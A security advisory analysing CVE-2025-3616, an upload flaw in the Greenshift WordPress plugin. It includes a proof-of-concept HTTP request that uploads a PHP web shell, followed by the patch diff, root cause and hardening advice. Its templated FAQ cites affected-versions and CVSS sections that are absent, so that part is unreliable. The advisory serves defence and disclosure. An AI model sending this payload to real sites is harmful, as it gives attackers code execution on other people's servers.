SECURITY ADVISORY / 01

CVE-2025-3616 Exploit & Vulnerability Analysis

Complete CVE-2025-3616 security advisory with proof of concept (PoC), exploit details, and patch analysis for greenshift-animation-and-page-builder-blocks.

greenshift-animation-and-page-builder-blocks products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An attacker with Subscriber-level access or higher can upload arbitrary files by sending a direct API request to the vulnerable gspb_make_proxy_api_request() function without any file type validation.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: multipart/form-data; boundary=----FormBoundary

------FormBoundary
Content-Disposition: form-data; name="action"

gspb_make_proxy_api_request
------FormBoundary
Content-Disposition: form-data; name="type"

media_upload
------FormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------FormBoundary--

The attacker observes a 200 response with the uploaded file path in the JSON response body, confirming the PHP shell has been written to the WordPress upload directory. The shell is immediately executable, granting remote code execution at the web server process privilege level.

What the Patch Did

Before

} else if($type === 'media_upload'){
		// Verify if file was uploaded
		if (empty($_FILES['file'])) {
			return new WP_Error('no_file', 'No file was uploaded', array('status' => 400));

After

} else if($type === 'media_upload'){
		// Check if user is logged in
		if (!is_user_logged_in()) {
			return new WP_Error('unauthorized', 'User must be logged in to upload files', array('status' => 401));
		}

		// Check if user has upload capabilities
		if (!current_user_can('upload_files')) {
			return new WP_Error('forbidden', 'User does not have permission to upload files', array('status' => 403));
		}

		// Verify if file was uploaded
		if (empty($_FILES['file'])) {
			return new WP_Error('no_file', 'No file was uploaded', array('status' => 400));

The patch adds two mandatory authorization checks using WordPress capability APIs: is_user_logged_in() to verify authentication, and current_user_can('upload_files') to enforce role-based access control. These checks execute before any file handling logic, preventing unauthenticated and unprivileged users from reaching the vulnerable upload sink. The second check is the critical load-bearing control—it restricts the capability to roles with explicit upload_files permission (Editor, Administrator, and custom roles), while the first is a defensive layer that short-circuits obvious unauthenticated requests.

Root Cause

CWE-284: Improper Access Control

The vulnerability stems from missing authentication and authorization checks in the gspb_make_proxy_api_request() AJAX handler. When the type parameter equals media_upload, the function directly processes the $_FILES['file'] superglobal without verifying that the requesting user possesses the upload_files capability. This allows any logged-in user—including Subscribers, who have no file management permissions in standard WordPress—to invoke the upload sink. The trust boundary crosses at the AJAX entry point: the handler assumes that reaching the handler equals authorization to upload, when in fact WordPress role-based access control had not been consulted.

Why It Works

The load-bearing line is if (!current_user_can('upload_files')). Removing it while keeping is_user_logged_in() leaves the bug open: a Subscriber (logged in but without the upload_files capability) can still upload arbitrary files. The is_user_logged_in() check is valuable as a first-line defence and prevents completely unauthenticated requests, but does not enforce granular role separation—WordPress sites may have Subscribers, Contributors, Authors, and Editors with varying permissions. The engineer added both checks because authentication (user exists) and authorization (user has permission for this action) are distinct controls; a security boundary requires both. Layering them follows defence-in-depth: if one check is accidentally removed or bypassed in a future refactor, the other still stands.

Hardening Checklist

  • Use current_user_can() for every AJAX handler that modifies site state. Call it early, before any business logic. Pair it with a capability meaningful to the action—upload_files for uploads, manage_options for settings, edit_posts for content.

  • Never trust $_FILES without validating MIME type server-side. Use wp_check_filetype() or wp_get_image_mime() to verify the file's actual content against a whitelist, not just the client-supplied extension or Content-Type header.

  • Implement a nonce check (wp_verify_nonce()) on custom AJAX endpoints. Even with capability checks, CSRF protection via wp_nonce_field() + check_ajax_referer() prevents attackers from tricking an authenticated user into triggering the request cross-site.

  • Confine uploaded files to a safe directory with .htaccess or web server rules preventing script execution. WordPress upload directories should have AddType text/plain .php .phtml .php3 .php4 .php5 to neutered uploaded PHP files, or a blanket deny on script execution via web server config.

  • Log capability checks and file uploads. When current_user_can() returns false, record the user ID, requested capability, and timestamp. This audit trail surfaces privilege-escalation attempts during incident response.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-3616

Frequently asked questions about CVE-2025-3616

What is CVE-2025-3616?

CVE-2025-3616 is a security vulnerability identified in greenshift-animation-and-page-builder-blocks. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-3616?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-3616. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-3616 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting greenshift-animation-and-page-builder-blocks. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-3616?

CVE-2025-3616 affects greenshift-animation-and-page-builder-blocks. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-3616?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for greenshift-animation-and-page-builder-blocks.

What is the CVSS score for CVE-2025-3616?

The severity rating and CVSS scoring for CVE-2025-3616 affecting greenshift-animation-and-page-builder-blocks is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.